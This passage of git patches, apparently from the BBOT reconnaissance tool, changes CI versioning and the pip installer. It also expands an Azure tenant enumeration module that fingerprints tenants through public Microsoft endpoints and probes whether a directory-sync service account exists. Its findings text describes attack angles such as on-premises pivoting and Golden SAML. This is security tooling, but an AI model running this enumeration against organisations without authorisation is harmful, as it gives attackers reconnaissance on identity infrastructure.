"https://files.pythonhosted.org/packages/70/8e/3618d2473f1e97f3f91d13af5b1ed26381c74444f6cdebb849eb855b21ca/yara_python-4.5.4-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:473c52b53c39d5daedc1912bd8a82a1c88702a3e393688879d77f9ff5f396543", size = 2326864, upload-time = "2025-05-27T14:15:15.321Z" }, + { url = "https://files.pythonhosted.org/packages/99/ee/21477d4c83e7f267ff7d61a518eb1b2d3eb7877031c5c07bd1dc0a54eb95/yara_python-4.5.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d9a58b7dc87411a2443d2e0382a111bd892aef9f6db2a1ebb4a9215eef0db71", size = 2331976, upload-time = "2025-05-27T14:15:17.138Z" }, + { url = "https://files.pythonhosted.org/packages/9f/5d/2680831aa43d181a0cc023ba89132ff6f03a0532f220cde27bccd60d54e2/yara_python-4.5.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b9de86fbe8a646c0644df9e1396d6941dc6ed0f89be2807e6c52ab39161fd9f", size = 2949066, upload-time = "2025-05-27T14:15:18.822Z" }, + { url = "https://files.pythonhosted.org/packages/9e/76/e89ec354731b1872462fa9cfdfc6d4751c272b3f43fa55523a8f0fcdd48a/yara_python-4.5.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:973f0bc24470ac86b6009baf2800ad3eadfa4ab653b6546ba5c65e9239850f47", size = 2420758, upload-time = "2025-05-27T14:15:20.505Z" }, + { url = "https://files.pythonhosted.org/packages/0c/28/9499649cb2cb42592c13ca6a15163e0cbf132c2974394de171aa5f8b49e4/yara_python-4.5.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cb0f0e7183165426b09e2b1235e70909e540ac18e2c6be96070dfe17d7db4d78", size = 2639628, upload-time = "2025-05-27T14:15:22.142Z" }, + { url = "https://files.pythonhosted.org/packages/ac/37/e8f2b9a2287070f39fa6a5afbcf1ed6762f60ab3b1fb08018732838ccc25/yara_python-4.5.4-cp313-cp313-win32.whl", hash = "sha256:7707b144c8fcdb30c069ea57b94799cd7601f694ba01b696bbd1832721f37fd0", size = 1447395, upload-time = "2025-05-27T14:15:25.237Z" }, + { url = "https://files.pythonhosted.org/packages/cc/a0/40b0291c8b24d13daf0e26538c9f3a0d843c38c6446dd17f36335bdd5b5f/yara_python-4.5.4-cp313-cp313-win_amd64.whl", hash = "sha256:5f1288448991d63c1f6351c9f6d112916b0177ceefaa27d1419427a6ff09f829", size = 1825779, upload-time = "2025-05-27T14:15:26.802Z" }, +] + +[[package]] +name = "zipp" +version = "3.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e3/02/0f2892c661036d50ede074e376733dca2ae7c6eb617489437771209d4180/zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166", size = 25547, upload-time = "2025-06-08T17:06:39.4Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2e/54/647ade08bf0db230bfea292f893923872fd20be6ac6f53b2b936ba839d75/zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e", size = 10276, upload-time = "2025-06-08T17:06:38.034Z" }, +] From a51a6ba90064d71780c54acb8e58dd10cd7298b3 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Thu, 12 Feb 2026 15:59:39 -0500 Subject: [PATCH 224/912] more uv stuff --- .github/workflows/tests.yml | 68 ++++++++++++++++++++++++------------- bbot/__init__.py | 1 - bbot/_version.py | 1 + pyproject.toml | 7 ++-- 4 files changed, 47 insertions(+), 30 deletions(-) create mode 100644 bbot/_version.py diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 2256ced4c3..f2c88fa671 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -71,6 +71,27 @@ jobs: python-version: "3.x" - name: Install uv uses: astral-sh/setup-uv@v7 + - name: Calculate version + id: calc_version + run: | + # Get base version from latest stable tag (exclude rc tags, strip 'v' prefix) + LATEST_STABLE_TAG=$(git describe --tags --abbrev=0 --exclude="*rc*") + BASE_VERSION=$(echo "$LATEST_STABLE_TAG" | sed 's/^v//') + + if [[ "${{ github.ref }}" == "refs/heads/stable" ]]; then + # Stable: clean version from tag + VERSION="$BASE_VERSION" + elif [[ "${{ github.ref }}" == "refs/heads/dev" ]]; then + # Dev: version.distancerc (e.g., 3.0.0.123rc) + DISTANCE=$(git rev-list ${LATEST_STABLE_TAG}..HEAD --count) + VERSION="${BASE_VERSION}.${DISTANCE}rc" + fi + + echo "VERSION=$VERSION" >> $GITHUB_OUTPUT + echo "Calculated version: $VERSION" + + # Write version to file for hatchling to pick up + echo "__version__ = \"$VERSION\"" > bbot/_version.py - name: Build Pypi package if: github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev' run: uv build @@ -82,7 +103,7 @@ jobs: - name: Get BBOT version id: version run: | - FULL_VERSION=$(uv run python -c "from bbot import __version__; print(__version__)") + FULL_VERSION="${{ steps.calc_version.outputs.VERSION }}" echo "BBOT_VERSION=$FULL_VERSION" >> $GITHUB_OUTPUT # Extract major.minor (e.g., 2.7 from 2.7.1) MAJOR_MINOR=$(echo "$FULL_VERSION" | cut -d'.' -f1-2) @@ -174,6 +195,28 @@ jobs: done outputs: BBOT_VERSION: ${{ steps.version.outputs.BBOT_VERSION }} + tag_commit: + needs: publish_code + runs-on: ubuntu-latest + if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') + steps: + - uses: actions/checkout@v6 + with: + fetch-depth: 0 + - name: Configure git + run: | + git config --local user.email "info@blacklanternsecurity.com" + git config --local user.name "GitHub Actions" + - name: Tag commit + run: | + VERSION="v${{ needs.publish_code.outputs.BBOT_VERSION }}" + if [[ "${{ github.ref }}" == "refs/heads/stable" ]]; then + git tag -a "$VERSION" -m "Stable Release $VERSION" + else + git tag -a "$VERSION" -m "Dev Release $VERSION" + fi + git push origin "$VERSION" + publish_docs: runs-on: ubuntu-latest if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') @@ -217,26 +260,3 @@ jobs: run: | git switch gh-pages git push - # tag_commit: - # needs: publish_code - # runs-on: ubuntu-latest - # if: github.event_name == 'push' && github.ref == 'refs/heads/stable' - # steps: - # - uses: actions/checkout@v6 - # with: - # ref: ${{ github.head_ref }} - # fetch-depth: 0 # Fetch all history for all tags and branches - # - name: Configure git - # run: | - # git config --local user.email "info@blacklanternsecurity.com" - # git config --local user.name "GitHub Actions" - # - name: Tag commit - # run: | - # VERSION="${{ needs.publish_code.outputs.BBOT_VERSION }}" - # if [[ "${{ github.ref }}" == "refs/heads/dev" ]]; then - # TAG_MESSAGE="Dev Release $VERSION" - # elif [[ "${{ github.ref }}" == "refs/heads/stable" ]]; then - # TAG_MESSAGE="Stable Release $VERSION" - # fi - # git tag -a $VERSION -m "$TAG_MESSAGE" - # git push origin --tags diff --git a/bbot/__init__.py b/bbot/__init__.py index 66aca4bdfe..7a87e25d8c 100644 --- a/bbot/__init__.py +++ b/bbot/__init__.py @@ -1,4 +1,3 @@ -# version is dynamically set by hatch-vcs from git tags try: from bbot._version import __version__ except ImportError: diff --git a/bbot/_version.py b/bbot/_version.py new file mode 100644 index 0000000000..6c8e6b979c --- /dev/null +++ b/bbot/_version.py @@ -0,0 +1 @@ +__version__ = "0.0.0" diff --git a/pyproject.toml b/pyproject.toml index aa63cc70bc..0bccfe3ce2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -90,14 +90,11 @@ docs = [ ] [build-system] -requires = ["hatchling", "hatch-vcs"] +requires = ["hatchling"] build-backend = "hatchling.build" [tool.hatch.version] -source = "vcs" - -[tool.hatch.build.hooks.vcs] -version-file = "bbot/_version.py" +path = "bbot/_version.py" [tool.hatch.build.targets.wheel] packages = ["bbot"] From 34a1022118c967622d2ac218edfe1812107ad611 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Tue, 17 Feb 2026 12:03:47 -0500 Subject: [PATCH 225/912] fix uv bug --- bbot/core/helpers/depsinstaller/installer.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/bbot/core/helpers/depsinstaller/installer.py b/bbot/core/helpers/depsinstaller/installer.py index 1348ed077c..93021093ac 100644 --- a/bbot/core/helpers/depsinstaller/installer.py +++ b/bbot/core/helpers/depsinstaller/installer.py @@ -268,6 +268,24 @@ async def pip_install(self, packages, constraints=None): packages_str = ",".join(packages) log.info(f"Installing the following pip packages: {packages_str}") + # Ensure pip is available in the environment + try: + check_pip_command = [sys.executable, "-m", "pip", "--version"] + await self.parent_helper.run(check_pip_command, check=True) + except CalledProcessError: + # pip is not available, try to install it with ensurepip + log.info("pip not found in virtual environment, attempting to install with ensurepip") + try: + ensurepip_command = [sys.executable, "-m", "ensurepip", "--upgrade"] + await self.parent_helper.run(ensurepip_command, check=True) + log.info("Successfully installed pip with ensurepip") + except CalledProcessError as err: + log.warning( + f"Failed to install pip with ensurepip (return code {err.returncode}): {err.stderr}. " + f"If using uv, create the virtual environment with 'uv venv --seed' or set UV_VENV_SEED=1" + ) + return False + command = [sys.executable, "-m", "pip", "install", "--upgrade"] + packages # if no custom constraints are provided, use the constraints of the currently installed version of bbot From 922381c5c196ba9ed716743d824c5f241dec0ab3 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Tue, 17 Feb 2026 12:21:30 -0500 Subject: [PATCH 226/912] better azure functions --- bbot/modules/azure_realm.py | 44 -- bbot/modules/azure_tenant.py | 523 ++++++++++++++++-- .../module_tests/test_module_azure_realm.py | 32 -- 3 files changed, 482 insertions(+), 117 deletions(-) delete mode 100644 bbot/modules/azure_realm.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_azure_realm.py diff --git a/bbot/modules/azure_realm.py b/bbot/modules/azure_realm.py deleted file mode 100644 index 9b09eaf5fb..0000000000 --- a/bbot/modules/azure_realm.py +++ /dev/null @@ -1,44 +0,0 @@ -from .base import BaseModule - - -class azure_realm(BaseModule): - watched_events = ["DNS_NAME"] - produced_events = ["URL_UNVERIFIED"] - flags = ["affiliates", "subdomain-enum", "cloud-enum", "web-basic", "passive", "safe"] - meta = { - "description": 'Retrieves the "AuthURL" from login.microsoftonline.com/getuserrealm', - "created_date": "2023-07-12", - "author": "@TheTechromancer", - } - - async def setup(self): - self.processed = set() - return True - - async def handle_event(self, event): - _, domain = self.helpers.split_domain(event.data) - domain_hash = hash(domain) - if domain_hash not in self.processed: - self.processed.add(domain_hash) - auth_url = await self.getuserrealm(domain) - if auth_url: - url_event = self.make_event( - auth_url, "URL_UNVERIFIED", parent=event, tags=["affiliate", "ms-auth-url"] - ) - url_event.source_domain = domain - await self.emit_event( - url_event, - context="{module} queried login.microsoftonline.com for user realm and found {event.type}: {event.data}", - ) - - async def getuserrealm(self, domain): - url = f"https://login.microsoftonline.com/getuserrealm.srf?login=test@{domain}" - r = await self.helpers.request(url) - if r is None: - return - try: - json = r.json() - except Exception: - return - if json and isinstance(json, dict): - return json.get("AuthURL", "") diff --git a/bbot/modules/azure_tenant.py b/bbot/modules/azure_tenant.py index 4a323fece3..2d4e755f6c 100644 --- a/bbot/modules/azure_tenant.py +++ b/bbot/modules/azure_tenant.py @@ -1,12 +1,14 @@ +import asyncio + from bbot.modules.base import BaseModule class azure_tenant(BaseModule): watched_events = ["DNS_NAME"] - produced_events = ["DNS_NAME"] + produced_events = ["DNS_NAME", "AZURE_TENANT", "FINDING", "URL_UNVERIFIED"] flags = ["affiliates", "subdomain-enum", "cloud-enum", "passive", "safe"] meta = { - "description": "Query Azure via azmap.dev for tenant sister domains", + "description": "Query Azure for tenant information using multiple enumeration methods", "created_date": "2024-07-04", "author": "@TheTechromancer", } @@ -21,53 +23,52 @@ async def setup(self): async def handle_event(self, event): _, query = self.helpers.split_domain(event.data) - tenant_data = await self.query(query) + + # 1. Query azmap.dev for tenant domains (keep for OPSEC) + tenant_data = await self.query_azmap(query) if not tenant_data: return - tenant_id = tenant_data.get("tenant_id") - tenant_name = tenant_data.get("tenant_name") - email_domains = tenant_data.get("email_domains", []) + # 2. Gather additional data from multiple sources in parallel + onmicrosoft_domain = self._get_onmicrosoft_domain(tenant_data) - if email_domains: - self.verbose( - f'Found {len(email_domains):,} domains under tenant for "{query}": {", ".join(sorted(email_domains))}' - ) - for domain in email_domains: - if domain != query: - await self.emit_event( - domain, - "DNS_NAME", - parent=event, - tags=["affiliate", "azure-tenant"], - context=f'{{module}} queried azmap.dev for "{query}" and found {{event.type}}: {{event.data}}', - ) + # Run all queries in parallel + results = await asyncio.gather( + self.query_odc(query), + self.query_openid(query), + self.query_getcredentialtype(query), + self.query_userrealm_v2(query), + self.query_mtasts(query), + ) + odc_data, openid_data, getcred_data, userrealm_data, mtasts_data = results - # Build tenant names list (include the tenant name from the API) - tenant_names = [] - if tenant_name: - tenant_names.append(tenant_name) + # 3. Check for directory sync if we have .onmicrosoft.com domain + sync_data = await self.query_directory_sync(onmicrosoft_domain) if onmicrosoft_domain else {} - # Also extract tenant names from .onmicrosoft.com domains - for domain in email_domains: - if domain.lower().endswith(".onmicrosoft.com"): - tenantname = domain.split(".")[0].lower() - if tenantname and tenantname not in tenant_names: - tenant_names.append(tenantname) - - event_data = {"tenant-names": tenant_names, "domains": sorted(email_domains)} - tenant_names_str = ",".join(tenant_names) - if tenant_id: - event_data["tenant-id"] = tenant_id - await self.emit_event( - event_data, - "AZURE_TENANT", - parent=event, - context=f'{{module}} queried azmap.dev for "{query}" and found {{event.type}}: {tenant_names_str}', - ) + # 4. Merge all data sources into comprehensive event + azure_tenant_event = self.merge_tenant_data( + query, tenant_data, odc_data, openid_data, getcred_data, userrealm_data, mtasts_data, sync_data + ) + + # 5. Emit DNS_NAME events for discovered domains (existing functionality) + await self.emit_discovered_domains(event, tenant_data, query) + + # 6. Emit comprehensive AZURE_TENANT event + tenant_names = azure_tenant_event.get("tenant-names", []) + tenant_names_str = ",".join(tenant_names) + await self.emit_event( + azure_tenant_event, + "AZURE_TENANT", + parent=event, + context=f'{{module}} performed comprehensive Azure tenant enumeration for "{query}" and found {{event.type}}: {tenant_names_str}', + ) + + # 7. Emit FINDING events for notable discoveries + await self.emit_findings(event, query, azure_tenant_event) - async def query(self, domain): + async def query_azmap(self, domain): + """Query azmap.dev API for tenant domains (existing functionality).""" url = f"{self.base_url}?domain={domain}&extract=true" self.debug(f"Retrieving tenant domains at {url}") @@ -93,3 +94,443 @@ async def query(self, domain): self.scan.word_cloud.absorb_word(d) return tenant_data + + async def query_odc(self, domain): + """Query odc.officeapps.live.com for tenant ID and org name.""" + url = f"https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain={domain}" + + try: + r = await self.helpers.request(url) + if r is None: + self.debug(f"No response from ODC endpoint for {domain}") + return {} + + status_code = getattr(r, "status_code", 0) + if status_code != 200: + self.debug(f"ODC endpoint returned status {status_code} for {domain}") + return {} + + data = r.json() + if not data or not isinstance(data, dict): + return {} + + # Extract relevant fields + result = {} + if "TenantId" in data: + result["tenant-id"] = data["TenantId"] + if "FederationBrandName" in data: + result["federation-brand-name"] = data["FederationBrandName"] + + return result + + except Exception as e: + self.debug(f"Error querying ODC endpoint for {domain}: {e}") + return {} + + async def query_openid(self, domain): + """Query OpenID configuration for region and cloud type.""" + url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration" + + try: + r = await self.helpers.request(url) + if r is None: + self.debug(f"No response from OpenID endpoint for {domain}") + return {} + + status_code = getattr(r, "status_code", 0) + if status_code == 404: + self.debug(f"Domain {domain} not registered to Azure AD (OpenID config returned 404)") + return {} + if status_code != 200: + self.debug(f"OpenID endpoint returned status {status_code} for {domain}") + return {} + + data = r.json() + if not data or not isinstance(data, dict): + return {} + + # Extract relevant fields + result = {} + if "tenant_region_scope" in data: + result["tenant-region"] = data["tenant_region_scope"] + if "tenant_region_sub_scope" in data: + result["tenant-region-sub"] = data["tenant_region_sub_scope"] + if "cloud_instance_name" in data: + result["cloud-instance"] = data["cloud_instance_name"] + + return result + + except Exception as e: + self.debug(f"Error querying OpenID endpoint for {domain}: {e}") + return {} + + async def query_getcredentialtype(self, domain): + """Query GetCredentialType API for Desktop SSO, CBA, and federation info.""" + url = "https://login.microsoftonline.com/common/GetCredentialType" + headers = {"Content-Type": "application/json; charset=UTF-8"} + + body = { + "username": f"test@{domain}", + "isOtherIdpSupported": True, + "checkPhones": True, + "isRemoteNGCSupported": True, + "isCookieBannerShown": False, + "isFidoSupported": True, + "isAccessPassSupported": True, + } + + try: + r = await self.helpers.request(url, method="POST", headers=headers, json=body) + if r is None: + self.debug(f"No response from GetCredentialType endpoint for {domain}") + return {} + + status_code = getattr(r, "status_code", 0) + if status_code != 200: + self.debug(f"GetCredentialType endpoint returned status {status_code} for {domain}") + return {} + + data = r.json() + if not data or not isinstance(data, dict): + return {} + + # Extract relevant fields + result = {} + + # Desktop SSO and CBA from EstsProperties + ests_props = data.get("EstsProperties", {}) + if isinstance(ests_props, dict): + if "DesktopSsoEnabled" in ests_props: + result["desktop-sso-enabled"] = ests_props["DesktopSsoEnabled"] + if "DomainType" in ests_props: + result["domain-type"] = ests_props["DomainType"] + + # Certificate auth from Credentials + credentials = data.get("Credentials", {}) + if isinstance(credentials, dict): + if "HasCertAuth" in credentials: + result["certificate-auth-enabled"] = credentials["HasCertAuth"] + if "FederationRedirectUrl" in credentials: + result["federation-redirect-url"] = credentials["FederationRedirectUrl"] + + return result + + except Exception as e: + self.debug(f"Error querying GetCredentialType endpoint for {domain}: {e}") + return {} + + async def query_userrealm_v2(self, domain): + """Query UserRealm v2.0 API for account type and branding.""" + url = f"https://login.microsoftonline.com/common/userrealm/test@{domain}?api-version=2.0" + + try: + r = await self.helpers.request(url) + if r is None: + self.debug(f"No response from UserRealm v2.0 endpoint for {domain}") + return {} + + status_code = getattr(r, "status_code", 0) + if status_code != 200: + self.debug(f"UserRealm v2.0 endpoint returned status {status_code} for {domain}") + return {} + + data = r.json() + if not data or not isinstance(data, dict): + return {} + + # Extract relevant fields + result = {} + if "NameSpaceType" in data: + result["account-type"] = data["NameSpaceType"] + + # Extract branding information if available + branding_info = data.get("TenantBrandingInfo") + if branding_info and isinstance(branding_info, list) and len(branding_info) > 0: + branding = branding_info[0] + if isinstance(branding, dict): + branding_data = {} + if "BannerLogo" in branding: + branding_data["banner-logo"] = branding["BannerLogo"] + if "TileLogo" in branding: + branding_data["tile-logo"] = branding["TileLogo"] + if "BackgroundColor" in branding: + branding_data["background-color"] = branding["BackgroundColor"] + if branding_data: + result["tenant-branding"] = branding_data + + return result + + except Exception as e: + self.debug(f"Error querying UserRealm v2.0 endpoint for {domain}: {e}") + return {} + + async def query_mtasts(self, domain): + """Query MTA-STS policy to detect Exchange Online.""" + url = f"https://mta-sts.{domain}/.well-known/mta-sts.txt" + + try: + r = await self.helpers.request(url) + if r is None: + self.debug(f"No response from MTA-STS endpoint for {domain}") + return {} + + status_code = getattr(r, "status_code", 0) + if status_code == 404: + self.debug(f"No MTA-STS policy found for {domain}") + return {} + if status_code != 200: + self.debug(f"MTA-STS endpoint returned status {status_code} for {domain}") + return {} + + content = r.text + if not content: + return {} + + # Check if Exchange Online is in the MX records + result = {} + if "mail.protection.outlook.com" in content.lower(): + result["exchange-online"] = True + result["mta-sts-mode"] = None + + # Extract mode if present + for line in content.split("\n"): + if line.startswith("mode:"): + result["mta-sts-mode"] = line.split(":", 1)[1].strip() + break + + return result + + except Exception as e: + self.debug(f"Error querying MTA-STS endpoint for {domain}: {e}") + return {} + + async def query_directory_sync(self, onmicrosoft_domain): + """Check if directory sync is enabled by testing for sync service account.""" + if not onmicrosoft_domain: + return {} + + url = "https://login.microsoftonline.com/common/GetCredentialType" + headers = {"Content-Type": "application/json; charset=UTF-8"} + + sync_username = f"ADToAADSyncServiceAccount@{onmicrosoft_domain}" + body = { + "username": sync_username, + "isOtherIdpSupported": True, + "checkPhones": False, + "isRemoteNGCSupported": False, + "isCookieBannerShown": False, + "isFidoSupported": False, + "isAccessPassSupported": False, + } + + try: + r = await self.helpers.request(url, method="POST", headers=headers, json=body) + if r is None: + self.debug(f"No response from GetCredentialType for directory sync check on {onmicrosoft_domain}") + return {} + + status_code = getattr(r, "status_code", 0) + if status_code != 200: + self.debug(f"GetCredentialType returned status {status_code} for directory sync check") + return {} + + data = r.json() + if not data or not isinstance(data, dict): + return {} + + # If IfExistsResult is 0, the sync account exists + if_exists_result = data.get("IfExistsResult") + if if_exists_result == 0: + return {"directory-sync-enabled": True} + + return {} + + except Exception as e: + self.debug(f"Error checking directory sync for {onmicrosoft_domain}: {e}") + return {} + + def merge_tenant_data( + self, query, tenant_data, odc_data, openid_data, getcred_data, userrealm_data, mtasts_data, sync_data + ): + """Merge data from all sources into single comprehensive event.""" + + # Start with azmap.dev data (backward compatibility) + tenant_names = [] + tenant_name = tenant_data.get("tenant_name") + if tenant_name: + tenant_names.append(tenant_name) + + # Extract tenant names from .onmicrosoft.com domains + email_domains = tenant_data.get("email_domains", []) + for domain in email_domains: + if domain.lower().endswith(".onmicrosoft.com"): + tenantname = domain.split(".")[0].lower() + if tenantname and tenantname not in tenant_names: + tenant_names.append(tenantname) + + merged = {"tenant-names": tenant_names, "domains": sorted(email_domains)} + + # Tenant ID: prefer ODC, fallback to azmap.dev + tenant_id = odc_data.get("tenant-id") or tenant_data.get("tenant_id") + if tenant_id: + merged["tenant-id"] = tenant_id + + # Federation brand name from ODC + if odc_data.get("federation-brand-name"): + merged["federation-brand-name"] = odc_data["federation-brand-name"] + + # OpenID configuration data + if openid_data.get("tenant-region"): + merged["tenant-region"] = openid_data["tenant-region"] + if openid_data.get("tenant-region-sub") is not None: + merged["tenant-region-sub"] = openid_data["tenant-region-sub"] + if openid_data.get("cloud-instance"): + merged["cloud-instance"] = openid_data["cloud-instance"] + if openid_data: + merged["cloud-type"] = self._derive_cloud_type(openid_data) + + # GetCredentialType data + if getcred_data: + if getcred_data.get("desktop-sso-enabled") is not None: + merged["desktop-sso-enabled"] = getcred_data["desktop-sso-enabled"] + if getcred_data.get("certificate-auth-enabled") is not None: + merged["certificate-auth-enabled"] = getcred_data["certificate-auth-enabled"] + if getcred_data.get("domain-type") is not None: + merged["domain-type"] = getcred_data["domain-type"] + if getcred_data.get("federation-redirect-url"): + merged["federation-redirect-url"] = getcred_data["federation-redirect-url"] + + # UserRealm v2.0 data + if userrealm_data: + if userrealm_data.get("account-type"): + merged["account-type"] = userrealm_data["account-type"] + if userrealm_data.get("tenant-branding"): + merged["tenant-branding"] = userrealm_data["tenant-branding"] + + # MTA-STS data + if mtasts_data.get("exchange-online") is not None: + merged["exchange-online"] = mtasts_data["exchange-online"] + if mtasts_data.get("mta-sts-mode"): + merged["mta-sts-mode"] = mtasts_data["mta-sts-mode"] + + # Directory sync data + if sync_data and sync_data.get("directory-sync-enabled"): + merged["directory-sync-enabled"] = True + + return merged + + async def emit_discovered_domains(self, event, tenant_data, query): + """Emit DNS_NAME events for discovered domains (existing functionality).""" + email_domains = tenant_data.get("email_domains", []) + if email_domains: + self.verbose( + f'Found {len(email_domains):,} domains under tenant for "{query}": {", ".join(sorted(email_domains))}' + ) + for domain in email_domains: + if domain != query: + await self.emit_event( + domain, + "DNS_NAME", + parent=event, + tags=["affiliate", "azure-tenant"], + context=f'{{module}} queried azmap.dev for "{query}" and found {{event.type}}: {{event.data}}', + ) + + async def emit_findings(self, event, domain, tenant_data): + """Emit FINDING events for notable security-relevant discoveries.""" + + # Desktop SSO + if tenant_data.get("desktop-sso-enabled"): + await self.emit_event( + { + "host": domain, + "name": "Azure AD Desktop SSO Enabled", + "description": f"Azure AD Desktop SSO (Seamless SSO) is enabled for {domain}, indicating pass-through authentication or password hash sync from on-premises Active Directory. This reveals hybrid infrastructure where compromising the on-premises environment could provide a pivot point into Azure AD.", + }, + "FINDING", + parent=event, + tags=["azure-sso"], + ) + + # Certificate-based Auth + if tenant_data.get("certificate-auth-enabled"): + await self.emit_event( + { + "host": domain, + "name": "Certificate-Based Authentication Enabled", + "description": f"Certificate-based authentication is enabled for {domain}. This provides an alternative authentication vector where stolen or compromised certificates can be used for access, potentially bypassing MFA and password-based security controls.", + }, + "FINDING", + parent=event, + tags=["azure-cba"], + ) + + # Government Cloud + cloud_type = tenant_data.get("cloud-type") + if cloud_type in ["gcc-high", "dod"]: + await self.emit_event( + { + "host": domain, + "name": "Azure Government Cloud Tenant", + "description": f"{domain} is hosted on Azure Government Cloud ({cloud_type}), indicating a high-value target that likely handles sensitive government data, classified information, or critical infrastructure systems.", + }, + "FINDING", + parent=event, + tags=["azure-gov-cloud"], + ) + + # Directory Sync + if tenant_data.get("directory-sync-enabled"): + await self.emit_event( + { + "host": domain, + "name": "Directory Synchronization Enabled", + "description": f"Directory synchronization (Azure AD Connect or Cloud Sync) is enabled for {domain}, indicating hybrid identity infrastructure. Compromising the on-premises Active Directory would allow an attacker to sync malicious changes to Azure AD, including creating backdoor accounts.", + }, + "FINDING", + parent=event, + tags=["azure-dir-sync"], + ) + + # Federated Domain + fed_url = tenant_data.get("federation-redirect-url") + if fed_url: + await self.emit_event( + { + "host": domain, + "url": fed_url, + "name": "Federated Authentication Detected", + "description": f"{domain} uses federated authentication with an external identity provider at {fed_url}. Compromising the federated IdP would grant access to Azure AD, and misconfigurations in the federation trust can be exploited (e.g., Golden SAML attacks).", + }, + "FINDING", + parent=event, + tags=["azure-federated"], + ) + # Also emit URL for further enumeration + await self.emit_event( + fed_url, + "URL_UNVERIFIED", + parent=event, + tags=["affiliate", "azure-federation-url"], + ) + + def _derive_cloud_type(self, openid_data): + """Derive cloud type from OpenID configuration data.""" + sub_scope = openid_data.get("tenant-region-sub") + + if sub_scope is None: + return "commercial" + elif sub_scope == "DOD": + return "dod" + elif sub_scope == "DODCON": + return "gcc-high" + else: + return "government" + + def _get_onmicrosoft_domain(self, tenant_data): + """Extract the .onmicrosoft.com domain from tenant data.""" + email_domains = tenant_data.get("email_domains", []) + for domain in email_domains: + if domain.lower().endswith(".onmicrosoft.com"): + return domain + return None diff --git a/bbot/test/test_step_2/module_tests/test_module_azure_realm.py b/bbot/test/test_step_2/module_tests/test_module_azure_realm.py deleted file mode 100644 index 2b1317629f..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_azure_realm.py +++ /dev/null @@ -1,32 +0,0 @@ -from .base import ModuleTestBase - - -class TestAzure_Realm(ModuleTestBase): - targets = ["evilcorp.com"] - config_overrides = {"scope": {"report_distance": 1}} - - response_json = { - "State": 3, - "UserState": 2, - "Login": "test@evilcorp.com", - "NameSpaceType": "Federated", - "DomainName": "evilcorp.com", - "FederationGlobalVersion": -1, - "AuthURL": "https://evilcorp.okta.com/app/office365/deadbeef/sso/wsfed/passive?username=test%40evilcorp.com&wa=wsignin1.0&wtrevilcorplm=urn%3afederation%3aMicrosoftOnline&wctx=", - "FederationBrandName": "EvilCorp", - "AuthNForwardType": 1, - "CloudInstanceName": "microsoftonline.com", - "CloudInstanceIssuerUri": "urn:federation:MicrosoftOnline", - } - - async def setup_after_prep(self, module_test): - await module_test.mock_dns({"evilcorp.com": {"A": ["127.0.0.5"]}}) - module_test.httpx_mock.add_response( - url="https://login.microsoftonline.com/getuserrealm.srf?login=test@evilcorp.com", - json=self.response_json, - ) - - def check(self, module_test, events): - assert any(e.data == "https://evilcorp.okta.com/app/office365/deadbeef/sso/wsfed/passive" for e in events), ( - "Failed to detect URL" - ) From 1d6a5e589b2764f8d1936bf8884dcab0a033cfd8 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Tue, 17 Feb 2026 13:47:29 -0500 Subject: [PATCH 227/912] tests --- bbot/core/event/base.py | 3 +- bbot/core/helpers/validators.py | 2 +- bbot/modules/azure_tenant.py | 11 + bbot/modules/baddns_direct.py | 2 +- bbot/modules/generic_ssrf.py | 2 +- bbot/modules/host_header.py | 2 +- bbot/modules/iis_shortnames.py | 2 +- bbot/modules/internal/excavate.py | 4 +- bbot/modules/lightfuzz/submodules/cmdi.py | 2 +- bbot/modules/lightfuzz/submodules/path.py | 2 +- bbot/modules/lightfuzz/submodules/sqli.py | 4 +- bbot/modules/lightfuzz/submodules/xss.py | 2 +- bbot/modules/templates/webhook.py | 2 +- bbot/modules/trufflehog.py | 2 +- bbot/modules/wpscan.py | 8 +- bbot/test/test_step_1/test_events.py | 10 +- bbot/test/test_step_1/test_modules_basic.py | 2 +- .../module_tests/test_module_azure_tenant.py | 286 +++++++++++++++++- .../module_tests/test_module_excavate.py | 4 +- .../module_tests/test_module_oauth.py | 10 +- .../module_tests/test_module_trufflehog.py | 2 +- 21 files changed, 332 insertions(+), 32 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4789fe43f3..aae09dcb56 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1557,7 +1557,7 @@ class FINDING(ClosestHostEvent): confidence_colors = { "CONFIRMED": "🟣", "HIGH": "🔴", - "MODERATE": "🟠", + "MEDIUM": "🟠", "LOW": "🟡", "UNKNOWN": "⚪", } @@ -1575,6 +1575,7 @@ class _data_validator(BaseModel): description: str confidence: str url: Optional[str] = None + full_url: Optional[str] = None path: Optional[str] = None cves: Optional[list[str]] = None _validate_url = field_validator("url")(validators.validate_url) diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 99479b6414..9385f34103 100644 --- 